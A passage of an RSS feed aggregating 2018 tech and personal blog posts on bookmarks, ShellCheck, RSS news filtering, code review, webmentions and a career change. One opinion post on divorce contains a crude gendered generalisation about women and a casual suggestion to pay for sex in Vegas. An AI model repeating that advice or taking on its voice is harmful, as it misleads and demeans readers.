&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Mon, 09 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/trying-out-tesseract</guid></item><item><title>Simplest, no-dependency router is... state</title><link>https://goshacmd.com/min-viable-router-is-state/</link><author>Gosha Spark</author><pubDate>Mon, 09 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/min-viable-router-is-state/</guid></item><item><title>Sapporo travel bookmarks</title><link>https://xenodium.com/sapporo-travel-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://foodle.pro/restaurants/sapporo/175-0-deno-dandan-noodles"&gt;175 ° DENO Dandan Noodles, Sapporo&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.vitra.com/en-gb/magazine/details/the-hill-of-the-buddha"&gt;The Hill of the Buddha&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 08 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/sapporo-travel-bookmarks</guid></item><item><title>Gif bookmarks</title><link>https://xenodium.com/gif-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://takinginitiative.wordpress.com/2020/03/07/an-idiots-guide-to-animation-compression/"&gt;An idiot’s guide to animation compression | Taking Initiative&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/nwtgck/gif-progress/blob/develop/README.md"&gt;gif-progress: Attach progress bar to animated GIF&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://gif.ski/"&gt;gifski — highest-quality GIF converter&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/keycastr/keycastr"&gt;keycastr: an open-source keystroke visualizer&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/phw/peek"&gt;phw/peek: Simple animated GIF screen recorder for Linux&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 08 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/gif-bookmarks</guid></item><item><title>Trying out ShellCheck</title><link>https://xenodium.com/trying-out-shellcheck</link><description>&lt;p&gt;&lt;a href="https://github.com/koalaman/shellcheck"&gt;ShellCheck&lt;/a&gt; gives you automatic warnings/suggestions in bash/sh shell scripts.&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ brew install shellcheck
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bonus: If using Emacs's &lt;a href="https://github.com/flycheck/flycheck"&gt;flycheck&lt;/a&gt;, you get ShellCheck support out of the box.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 08 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/trying-out-shellcheck</guid></item><item><title>Image editing bookmarks</title><link>https://xenodium.com/image-editing-bookmarks</link><description>&lt;ul&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=17748266"&gt;Exif.tools – A multimedia file metadata tool (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=16668254"&gt;Fred's ImageMagick Scripts (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://linuxhint.com/howto_crop_gimp/"&gt;How to crop in GIMP (Linux Hint)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://linuxhint.com/imagemagick_sharpen_image/"&gt;ImageMagick to Sharpen an Image – Linux Hint&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=23789934"&gt;Jpeg2png: Silky smooth JPEG decoding – no more artifacts (2016) | Hacker News&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://twitter.com/pidybi/status/1278590835194564608"&gt;Make your own meme image using Imagemagick&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="https://news.ycombinator.com/item?id=10222524"&gt;The Art of PNG Glitch (Hacker News)&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href="http://ucnv.github.io/pnglitch/"&gt;The Art of PNG Glitch&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Sun, 08 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/image-editing-bookmarks</guid></item><item><title>The Occassional Irony of Opportunity</title><link>https://jonpauluritis.com/articles/the-occassional-irony-of-opportunity/</link><description>&lt;p&gt;&lt;img alt="choices" src="http://i.imgur.com/qnK6woX.jpg" /&gt;&lt;/p&gt;
&lt;p&gt;Quick story. A friend comes to me with a problem. The problem is this:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A student that comes from a semi-wealthy family is choosing to skip college because they think its unfair that they should be allowed to go to college (Mom and Dad are paying), when this student's friends cannot afford to go to college.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The student is basically feeling a level of guilt about their privilege- Which in a sense I understand. There is something to making your way in the world... particularly in the United States, where our rugged individualism can cause us to circumvent (normally) good choices.&lt;/p&gt;
&lt;p&gt;And on the other hand- I'm not exactly blown away by the value proposition with the United States Higher Education system/ job market. We are effectively requiring a human to have $50K+ in debt to get a job because our k-12 education wouldn't even meet minimums in the 3rd world.&lt;/p&gt;
&lt;p&gt;But that's not really the point in this particular situation. This student has an opportunity: to go to a good school for free, because mom and dad have the resources to send them... and they are interested in passing that up, because they didn't earn it themselves (and their peers can't afford it).&lt;/p&gt;
&lt;h4&gt;Frankly, I don't give a shit about the kid's feelings... we need more hardworking EDUCATED people not less.&lt;/h4&gt;
&lt;p&gt;The real tragedy is that the kid has to feel like this at all. That our education system, culture, etc are sooooooooo fucked up that a college degree is like this upper middle class thing. WTF???&lt;/p&gt;
&lt;p&gt;So kid take mom and dad's money. The world of the future will be fucked up enough that your college degree still won't mean that much. But at least they won't spend that money on a boat or a big screen tv or something... and we (the people out in the rest of the world) will have at least one more educated human among us.&lt;/p&gt;
&lt;p&gt;In regards to your friends- tell them to start with the bootstraps. Hustle trumps education every time. (they don't teach that in college).&lt;/p&gt;</description><author>JonPaulUritis.com</author><pubDate>Sun, 08 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jonpauluritis.com/articles/the-occassional-irony-of-opportunity/</guid></item><item><title>How not to make an april fools joke</title><link>https://tomforb.es/blog/how-not-to-make-an-april-fools-joke/</link><description>Picture the scene. You’ve recently installed the awesome Lineage OS on your android device and are enjoying it so far. You install an update, it all goes smoothly, but upon restarting you are presented with this notification: What You press on the notification and you’re taken to the Lineage changel...</description><author>Tom Forbes</author><pubDate>Sun, 08 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://tomforb.es/blog/how-not-to-make-an-april-fools-joke/</guid></item><item><title>Defeating News Addiction</title><link>https://bastibe.de/2018-04-07-defeating-news-addiction.html</link><description>&lt;p&gt;I want to consume the news, both because it is genuinely relevant for my work, and because conversations about news are part of my social life. But I do not want to be consumed by news, and end up scanning news websites over and over for new content, even though you know that the likelihood of finding anything interesting is small.&lt;/p&gt;
&lt;p&gt;Over the last few months, I have tried hard to find all instances of this repeated-scanning behavior, and eliminate it. The key is to automate the scanning such that I am only ever presented with new content, but do not get hooked on the addictive variable-reward cycle of checking websites for changes over and over again.&lt;/p&gt;
&lt;p&gt;And it all works thank to the magic of RSS:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;News Sources:&lt;/strong&gt;
I read several blogs, newspapers, and webcomics. All of them have RSS feeds. Easy.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Hacker News:&lt;/strong&gt;
The brilliant service &lt;a href="https://hnrss.org/"&gt;hnrss.org&lt;/a&gt; provides RSS feeds for Hacker News, and filters them to for example only include posts that made it to the front page, and have accumulated &lt;a href="https://hnrss.org/frontpage?points=100"&gt;at least 100 points&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Reddit:&lt;/strong&gt;
Every subreddit has its own feed, at &lt;a href="https://www.reddit.com/r/emacs.rss"&gt;reddit.com/r/subreddit.rss&lt;/a&gt;. Sadly there is no way to filter for a minimum number of upvotes.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;YouTube:&lt;/strong&gt;
Again, every YouTube channel has its own RSS feed, but Google is trying very hard to make it as cumbersome as possible to get at those feeds. You need to go to your &lt;a href="https://www.youtube.com/subscription_manager"&gt;Subscription Manager&lt;/a&gt;, then scroll all the way down, and &amp;quot;Export Subscriptions&amp;quot;. The resulting file helpfully does not have a file extension, which you will have to add before you can import it into your RSS reader. I honestly can't reconstruct how I found that subscription manager, either, but presumably there is some series of clicks that would take you there.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With all this settled, I have a veritable firehose of news every day. I estimate that only 1 % of this is actually worth reading. So in the next step, I filter this list for spam. For this purpose, I use &lt;a href="https://feedbin.com/"&gt;Feedbin&lt;/a&gt;, which aggegates all these feeds, and remembers whether I have read an article. The remaining ham I either read immediately, or forward it to &lt;a href="http://pinboard.in/"&gt;Pinboard&lt;/a&gt; for later consumption.&lt;/p&gt;
&lt;p&gt;With this system, I never miss anything, but once I consume all the news in my feed reader, I know I am done, and there is no point in checking and re-checking various websites over and over again.&lt;/p&gt;
&lt;svg height="70" version="1.1" width="422" xmlns="http://www.w3.org/2000/svg"&gt;
  &lt;!-- grey achievement box: --&gt;
  &lt;rect fill="#3A3E3F" height="64" rx="32" ry="32" width="422" x="0" y="1"&gt;
  &lt;!-- black background circle: --&gt;
  &lt;circle cx="33" cy="33" fill="#15150D" r="28"&gt;
  &lt;!-- top left sector (green): --&gt;
  &lt;path d="M 9 30
           A 24 24 0 0 1 30 9
           L 30 15
           A 18 18 0 0 0 15 30" fill="#69B168"&gt;
  &lt;!-- top right sector (grey): --&gt;
  &lt;path d="M 36 9
           A 24 24 0 0 1 57 30
           L 51 30
           A 18 18 0 0 0 36 15" fill="#595B5A"&gt;
  &lt;!-- bottom right sector (grey): --&gt;
  &lt;path d="M 57 36
           A 24 24 0 0 1 36 57
           L 36 51
           A 18 18 0 0 0 51 36" fill="#595B5A"&gt;
  &lt;!-- bottom left sector (grey): --&gt;
  &lt;path d="M 30 57
           A 24 24 0 0 1 9 36
           L 15 36
           A 18 18 0 0 0 30 51" fill="#595B5A"&gt;
  &lt;!-- XBox image (source unknown): --&gt;
  
  &lt;!-- text labels: --&gt;
  &lt;text fill="#E1E6E7" font-family="Verdana" font-size="13px" x="76" y="27"&gt;ACHIEVEMENT UNLOCKED&lt;/text&gt;
  &lt;text fill="#E1E6E7" font-family="Verdana" font-size="13px" x="76" y="48"&gt;Defeated News Addiction!&lt;/text&gt;
&lt;/svg&gt;</description><author>bastibe.de</author><pubDate>Sat, 07 Apr 2018 13:02:00 GMT</pubDate><guid isPermaLink="true">https://bastibe.de/2018-04-07-defeating-news-addiction.html</guid></item><item><title>Building a notification system part 2: Travis CI</title><link>https://smetj.net/building_a_notification_system_part_2_integrating_travis.html</link><description>&lt;p&gt;&lt;img alt="travis" src="https://smetj.net/images/TravisCI-Full-Color.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://travis-ci.org"&gt;Travis CI&lt;/a&gt; is a hosted, distributed continuous integration service used to
build and test software projects hosted at GitHub. Travis CI can notify you
about your build results through email, IRC, chat or custom webhooks.&lt;/p&gt;
&lt;p&gt;In this article we will cover how to integrate the Travis custom webhooks into
the …&lt;/p&gt;</description><author>Jelle Smet</author><pubDate>Sat, 07 Apr 2018 11:00:00 GMT</pubDate><guid isPermaLink="true">https://smetj.net/building_a_notification_system_part_2_integrating_travis.html</guid></item><item><title>Tracking a call stack in Go with context</title><link>https://www.danielcorin.com/posts/2018/2018-04-06-go-context/</link><description>Tracking a call stack in Go with context</description><author>Thought Eddies</author><pubDate>Sat, 07 Apr 2018 00:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danielcorin.com/posts/2018/2018-04-06-go-context/</guid></item><item><title>Vignettes 3</title><link>https://rjp.is/blogging/posts/vignettes-3/</link><description>Vignettes for Black Sheep, 2006</description><author>infrequent oscillations</author><pubDate>Fri, 06 Apr 2018 23:11:20 GMT</pubDate><guid isPermaLink="true">https://rjp.is/blogging/posts/vignettes-3/</guid></item><item><title>How To Get Divorced Properly</title><link>https://jonpauluritis.com/articles/how-to-get-divorced-properly/</link><description>&lt;p&gt;I just got through the bulk of the marriage zone (ages 27-32) and (not as though I want this but) realistically there are probably going to be a couple of divorces coming up.&lt;/p&gt;
&lt;p&gt;All things considered there is a proper way to get divorced and a wrong way. The proper way is respectful to the people involved, the families, and the children (if there are any). The wrong way is a disgusting mess making the world a worse place both now and in the future.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Before I dig in just want to mention this:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Women ... stay the fuck off of social media. I have correctly called 4 divorces based on how women act on Facebook. Whether you know it or not, social media will exacerbate all of the bad things related to divorce.&lt;/p&gt;
&lt;p&gt;When to get divorced:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Your spouse is having sex with other people&lt;/li&gt;
&lt;li&gt;Your spouse hasn't had sex with you for a really long time (varies person to person)... this indicates that they are having sex with other people, or that they are really depressed.&lt;/li&gt;
&lt;li&gt;You are the king of England and you are sick of killing your wives that won't produce male offspring.&lt;/li&gt;
&lt;li&gt;When your spouse is getting you into extremely unmanageable debt, or there is excess of money but your spouse spends all of it.&lt;/li&gt;
&lt;li&gt;When your spouse hasn't worked in a really long time, and they aren't retired or wealthy (homemaker can be considered a job in my book)&lt;/li&gt;
&lt;li&gt;When your spouse continues to use Cocaine, Heroine, Methamphetamines, despite many attempts at helping them with their chemical dependencies&lt;/li&gt;
&lt;li&gt;[there's rules about alcohol but they are too complex...]&lt;/li&gt;
&lt;li&gt;If your spouse physically harms your children... or actually, any children.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;When to not get divorced:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;During major life changes (change of jobs, birth of a child, death of a family member, illness)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Your spouse is the dictator of a 3rd world country.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Your spouse doesn't have enough sex with you... or you have become bored with the sex that you have =&amp;gt; step up your sex-game/ quit being suburban and you'll be fine&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Anything related to the word happy =&amp;gt; remember biologically you are supposed to not be happy. &amp;quot;Content homoerectus, became dead homoerectus&amp;quot;. (every time I hear people say they are doing something do become happy, I puke in my mouth a little bit)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So if you've read this and you are still planning on getting divorced here is how to do it... and how not to do it.&lt;/p&gt;
&lt;h2&gt;How to properly divorce:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Make a decision. A firm decision and have a high-level plan. Once you decide, take the person to a calming public place DURING THE DAY, and tell them. No mind altering substances (alcohol, marijuana, etc). period. Talk roughly through the plan.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Next Immediately, take a video of your residence with everything in it and send that to the person. Take Screen-shots of all bank accounts and financials. You are creating evidence of all shared assets... share these with the spouse.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The next steps of the process are really specific to the people involved, but I'm going to suggest somethings that will make the process easier. Try as hard as you can to be considerate of the other person... you didn't start off wanting to get divorced and neither did they.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For both people it is really important emotionally not to continue to live in the same physical environment.***** Though it is usually not possible, try to relocate yourself into a different physical environment until the divorce concludes. In the very least, re-arrange your furniture and your living space. There's a bunch of science behind this but the short is that it will be much easier on your emotions and help you with the transition.&lt;/li&gt;
&lt;li&gt;Decide on a date to have the mutual assets split up. This date must be a hard date. If the mutual assets aren't split up (including things of high emotional value), have an arbiter sell them and give the money evenly. Yes, it sucks, but it sucks a lot less than dragging out a divorce for 5 years while you squabble over a couch or something.&lt;/li&gt;
&lt;li&gt;[This is a hard rule] Don't see any other people, or date or anything until 6 months after the divorce concludes or you have lived in separate geographic locations for a year. You are a castrated monk for this time period. Focus on making money to pay for your divorce, and taking care of the emotions of the people around you. If you NEED to have sex... fly to Vegas and purchase your sex.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;A divorce in many ways is actually very similar to the way you should handle the death of a spouse... if you immediately start fucking the neighbor after your spouse dies other people are going to think that you are a piece of shit... because you are.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;Exercise is now your best friend. You will need every single one of those endorphins and all the energy that you can get. If you get sad... go exercise. If you get angry... go exercise. If you feel like you are exercising too much... go exercise.&lt;/li&gt;
&lt;li&gt;(Later) When you do start dating again the first couple of people should be people that you could have never met during your married life... I would also recommend to try dating someone that would be out of your sphere of influence- it makes it more fun.&lt;/li&gt;
&lt;li&gt;I don't know a lot about kids, but kids are people, so I assume the following to be true: they don't like being lied to, they don't like fighting or violence at their house, they don't like seeing people cheat on other people&lt;/li&gt;
&lt;li&gt;Write out positive things about your new life... look at them frequently.&lt;/li&gt;
&lt;li&gt;Divorces are expensive... do everything you can to limit the amount of money it costs. Avoid lawyers... you can get standard divorce paperwork online, and use mediators or arbiters cause they are cheaper.&lt;/li&gt;
&lt;li&gt;Get out as fast as possible.&lt;/li&gt;
&lt;/ul&gt;</description><author>JonPaulUritis.com</author><pubDate>Fri, 06 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jonpauluritis.com/articles/how-to-get-divorced-properly/</guid></item><item><title>Code Review Template</title><link>https://jonpauluritis.com/articles/code-review-template/</link><description>&lt;blockquote&gt;
&lt;p&gt;This template is designed to help create a better process surrounding your code review. Every company/project is different so don't take this as God's word... it's just meant to help&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Git Repository: ____&lt;/p&gt;
&lt;p&gt;Pull Request Number: ____&lt;/p&gt;
&lt;p&gt;Code Author: ____&lt;/p&gt;
&lt;p&gt;Code Reviewer: ____&lt;/p&gt;
&lt;p&gt;Pull Request Type: ____&lt;/p&gt;
&lt;p&gt;An overall score for this review: ____&lt;/p&gt;
&lt;h2&gt;Functional&lt;/h2&gt;
&lt;p&gt;Upon testing, does the code work? Does it accomplish what was intended?&lt;/p&gt;
&lt;h2&gt;Process&lt;/h2&gt;
&lt;p&gt;Was the proper process followed for creating this pull request?&lt;/p&gt;
&lt;h2&gt;Coding Standards&lt;/h2&gt;
&lt;p&gt;Clarity&lt;/p&gt;
&lt;p&gt;Code should be coherent, logical, and require minimal explanation&lt;/p&gt;
&lt;h2&gt;Style&lt;/h2&gt;
&lt;p&gt;Code should follow the project's style guide for spacing, indentation, capitalization, etc.&lt;/p&gt;
&lt;p&gt;Commenting&lt;/p&gt;
&lt;p&gt;Code should be well commented and include doc blocks&lt;/p&gt;
&lt;p&gt;Continuous Improvement&lt;/p&gt;
&lt;p&gt;Boyscout Rule: If editing existing messy code, the code should be left in a better state than it was found&lt;/p&gt;
&lt;h2&gt;Architecture and Design&lt;/h2&gt;
&lt;p&gt;Single Responsibility&lt;/p&gt;
&lt;p&gt;Functions and methods stand alone. Classes have a single responsibility.&lt;/p&gt;
&lt;p&gt;Complexity&lt;/p&gt;
&lt;p&gt;Methods should have a limited number of parameters or constants.&lt;/p&gt;
&lt;p&gt;Efficiency&lt;/p&gt;
&lt;p&gt;Code should be written with backend efficiency (algorithm choice, caching data, etc.) and frontend efficiency (optimized resources, minimal HTTP requests, etc.) in mind&lt;/p&gt;
&lt;p&gt;Code Duplication&lt;/p&gt;
&lt;p&gt;Avoid code duplication in favor of abstracting common functionality (Rule of 3)&lt;/p&gt;
&lt;p&gt;Best Practices&lt;/p&gt;
&lt;p&gt;Unit Tests&lt;/p&gt;
&lt;p&gt;Depending on the changes, unit tests may not be required.&lt;/p&gt;
&lt;p&gt;Missing or incomplete&lt;/p&gt;
&lt;p&gt;Well written&lt;/p&gt;
&lt;p&gt;Functional Tests&lt;/p&gt;
&lt;p&gt;Depending on the changes, functional tests may not be required.&lt;/p&gt;
&lt;p&gt;Missing or incomplete&lt;/p&gt;
&lt;p&gt;Well Written&lt;/p&gt;
&lt;p&gt;Documentation&lt;/p&gt;
&lt;p&gt;Depending on the changes, documentation may not be required.&lt;/p&gt;
&lt;p&gt;Missing or incomplete&lt;/p&gt;
&lt;p&gt;Well written&lt;/p&gt;
&lt;p&gt;Additional Notes&lt;/p&gt;</description><author>JonPaulUritis.com</author><pubDate>Fri, 06 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://jonpauluritis.com/articles/code-review-template/</guid></item><item><title>Quick Guide to setup your React + Typescript Storybook Design System</title><link>https://www.swyx.io/quick-guide-to-setup-your-react--typescript-storybook-design-system-1c51</link><description>&lt;p&gt;a no-bs guide to set up your new React and Typescript Design System powered by Storybook!&lt;/p&gt;</description><author>swyx's site RSS Feed</author><pubDate>Thu, 05 Apr 2018 20:58:13 GMT</pubDate><guid isPermaLink="true">https://www.swyx.io/quick-guide-to-setup-your-react--typescript-storybook-design-system-1c51</guid></item><item><title>The Next Big Thing? Go Back To The Future.</title><link>https://blog.eutopian.io/the-next-big-thing-go-back-to-the-future./</link><description>1500 words, 7 minutes. Man, embracing his origin, &amp;hellip; civilization, &amp;hellip; mental and moral faculties. &amp;hellip; Illustrated. Lind, G. Dallas, 1884.
I&amp;rsquo;m interested in the history of technology, especially those moments which gave rise to great advances or failures. I&amp;rsquo;m interested to know the conditions, the growth medium, the organisational structures, the management strategy which helped or hindered. I&amp;rsquo;m interested in whether (and to what degree) Government has a role to play in the stimulation or sterilisation of research, development, and commercialisation.</description><author>Privacy, Power, &amp;amp; Protection In The Cyber Century</author><pubDate>Thu, 05 Apr 2018 16:00:00 GMT</pubDate><guid isPermaLink="true">https://blog.eutopian.io/the-next-big-thing-go-back-to-the-future./</guid></item><item><title>This is what I mean by "treating driverless cars like trains"</title><link>https://stop.zona-m.net/2018/04/this-is-what-i-mean-by-treating-driverless-cars-like-trains/</link><description>&lt;p&gt;Six months ago, I &lt;a href="https://stop.zona-m.net/2017/10/the-real-name-and-value-of-self-driving-cars/"&gt;wrote&lt;/a&gt; that &amp;ldquo;the REAL name of self-driving cars must become something like&lt;/p&gt;</description><author>Welcome to Marco Fioretti's website! on Stop at Zona-M</author><pubDate>Thu, 05 Apr 2018 09:00:00 GMT</pubDate><guid isPermaLink="true">https://stop.zona-m.net/2018/04/this-is-what-i-mean-by-treating-driverless-cars-like-trains/</guid></item><item><title>Buying matcha powder online</title><link>https://xenodium.com/buying-matcha-powder-online</link><description>&lt;p&gt;From Reddit's &lt;a href="https://www.reddit.com/r/tea/comments/6qbh4l/matcha/"&gt;thread&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://yunomi.life"&gt;https://yunomi.life&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://shop.ippodo-tea.co.jp/kyoto/shopf/index.html"&gt;https://shop.ippodo-tea.co.jp/kyoto/shopf/index.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.o-cha.com"&gt;https://www.o-cha.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://hojotea.com/categ_e/viewe.htm"&gt;http://hojotea.com/categ_e/viewe.htm&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://yuuki-cha.com"&gt;http://yuuki-cha.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.hibiki-an.com/index.php"&gt;http://www.hibiki-an.com/index.php&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.thes-du-japon.com/index.php?main_page=index"&gt;http://www.thes-du-japon.com/index.php?main_page=index&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.chadoteahouse.com"&gt;https://www.chadoteahouse.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.denstea.com"&gt;https://www.denstea.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.sazentea.com/en"&gt;https://www.sazentea.com/en&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.ujicha-kanbayashi.co.jp"&gt;http://www.ujicha-kanbayashi.co.jp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.marukyu-koyamaen.co.jp/products.html"&gt;http://www.marukyu-koyamaen.co.jp/products.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.fukumotoen.co.jp/shop/"&gt;http://www.fukumotoen.co.jp/shop/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.myokoen.com/shop/index.html"&gt;http://www.myokoen.com/shop/index.html&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description><author>xenodium.com @alvaro</author><pubDate>Thu, 05 Apr 2018 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/buying-matcha-powder-online</guid></item><item><title>Update on webmentions</title><link>https://qubyte.codes/blog/update-on-webmentions</link><description>&lt;p&gt;In &lt;a href="/blog/about-this-blog-3"&gt;a recent post&lt;/a&gt; I wrote that I had integrated
webmentions, and some of that has since changed. Time for an update.&lt;/p&gt;
&lt;p&gt;I was using Netlify form handling as an easy way to handle webmentions, but
unfortunately they inject an additional input into forms. This input is
required by Netlify to name the form, and &lt;code&gt;POST&lt;/code&gt; requests which lack it get a
404 response. This in turn meant that the manual mention form at the bottom of
each post worked, but regular webmentions (which only have &lt;code&gt;source&lt;/code&gt; and &lt;code&gt;target&lt;/code&gt;
parameters) did not.&lt;/p&gt;
&lt;p&gt;I replaced this functionality by pointing the form and webmention link to
&lt;a href="https://webmention.io"&gt;webmention.io&lt;/a&gt;, which was simple since I already have
&lt;a href="https://indieauth.com"&gt;IndieAuth&lt;/a&gt; working with this blog. I may make a custom receiver for
webmentions later, but this is an excellent stopgap.&lt;/p&gt;
&lt;p&gt;On to more exciting stuff... I've been enjoying &lt;a href="https://mastodon.social"&gt;Mastodon&lt;/a&gt; lately. An
&lt;a href="https://github.com/tootsuite/mastodon/issues/6074"&gt;issue was recently opened&lt;/a&gt; about having Mastodon dispatch
webmentions for links in status updates. Unfortunately (but I think for good
reasons), it didn't work out and the issue is now closed. I'm happy for my own
status updates to dispatch webmentions though, so I
&lt;a href="https://glitch.com/edit/#!/mastodon-webmention-relay"&gt;put together a glitch&lt;/a&gt; to do this for me! Take a look, and
remix if you like the idea.&lt;/p&gt;</description><author>Qubyte Codes</author><pubDate>Wed, 04 Apr 2018 22:10:00 GMT</pubDate><guid isPermaLink="true">https://qubyte.codes/blog/update-on-webmentions</guid></item><item><title>Leaving Red Hat</title><link>https://purpleidea.com/blog/2018/04/04/leaving-redhat/</link><description>&lt;p&gt;I&amp;rsquo;ve spent about &lt;a href="https://purpleidea.com/blog/2014/04/02/working-at-redhat/"&gt;four years at Red Hat&lt;/a&gt;,
and now it&amp;rsquo;s time to move on&amp;hellip;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;TL;DR:&lt;/em&gt; had to leave Red Hat and start &lt;a href="https://www.patreon.com/purpleidea"&gt;Patreon&lt;/a&gt;
to fund &lt;a href="https://github.com/purpleidea/mgmt/"&gt;mgmt&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;What follows is a bit of historical rambling, and some forward looking
statements.&lt;/p&gt;


&lt;br /&gt;&lt;span style="text-decoration: underline; font-weight: bold;"&gt;Retrospective&lt;/span&gt;:&lt;br /&gt;&lt;br /&gt;

&lt;p&gt;Long-time readers of my blog will know that I was very active in the
&lt;a href="https://purpleidea.com/tags/puppet/"&gt;puppet ecosystem&lt;/a&gt; for many years. I learned a lot while writing
puppet code, and while building some of my
&lt;a href="https://www.youtube.com/watch?v=hXIEJEE5d_4"&gt;outrageous puppet hacks&lt;/a&gt;. Over
this time, I had quietly put together some design notes and a prototype for some
&amp;ldquo;future tool&amp;rdquo; ideas. I had code-named this project &amp;ldquo;&lt;em&gt;puppet-ng&lt;/em&gt;&amp;rdquo;.&lt;/p&gt;</description><author>The Technical Blog of James on purpleidea.com</author><pubDate>Wed, 04 Apr 2018 14:27:35 GMT</pubDate><guid isPermaLink="true">https://purpleidea.com/blog/2018/04/04/leaving-redhat/</guid></item><item><title>A MacBook touchscreen for only $1</title><link>https://ilearnt.com/blog/macbooktouchscreen/</link><description>&lt;p&gt;I don&amp;rsquo;t own, and have no intention of owning, a MacBook as I own a touchscreen Windows laptop however this approach to make it support touch is genius. They use a mirror at the top of the screen and some image processing to work out where the finger is. They can determine if the finger is actually touching the screen by whether it is touching its reflection - very clever lateral thinking.&lt;/p&gt;</description><author>I Learnt</author><pubDate>Wed, 04 Apr 2018 14:00:00 GMT</pubDate><guid isPermaLink="true">https://ilearnt.com/blog/macbooktouchscreen/</guid></item><item><title>Getting macOS app bundle ID</title><link>https://xenodium.com/getting-macos-app-bundle-id</link><description>&lt;p&gt;From &lt;a 